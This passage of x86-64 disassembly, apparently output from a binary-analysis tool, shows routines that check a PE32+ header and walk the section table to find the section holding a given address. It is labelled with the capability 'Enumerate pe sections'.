mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2ca5b2e71
mov eax, 0
jmp 0x2ca5b2e76
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2ca5b2e7c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2ca5b2efa
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2ca5b2ef1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2ca5b2ef1
mov rax, qword [rbp - 8]
jmp 0x2ca5b2f0f
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2ca5b2ec4
mov eax, 0
add rsp, 0x20
pop rbp
ret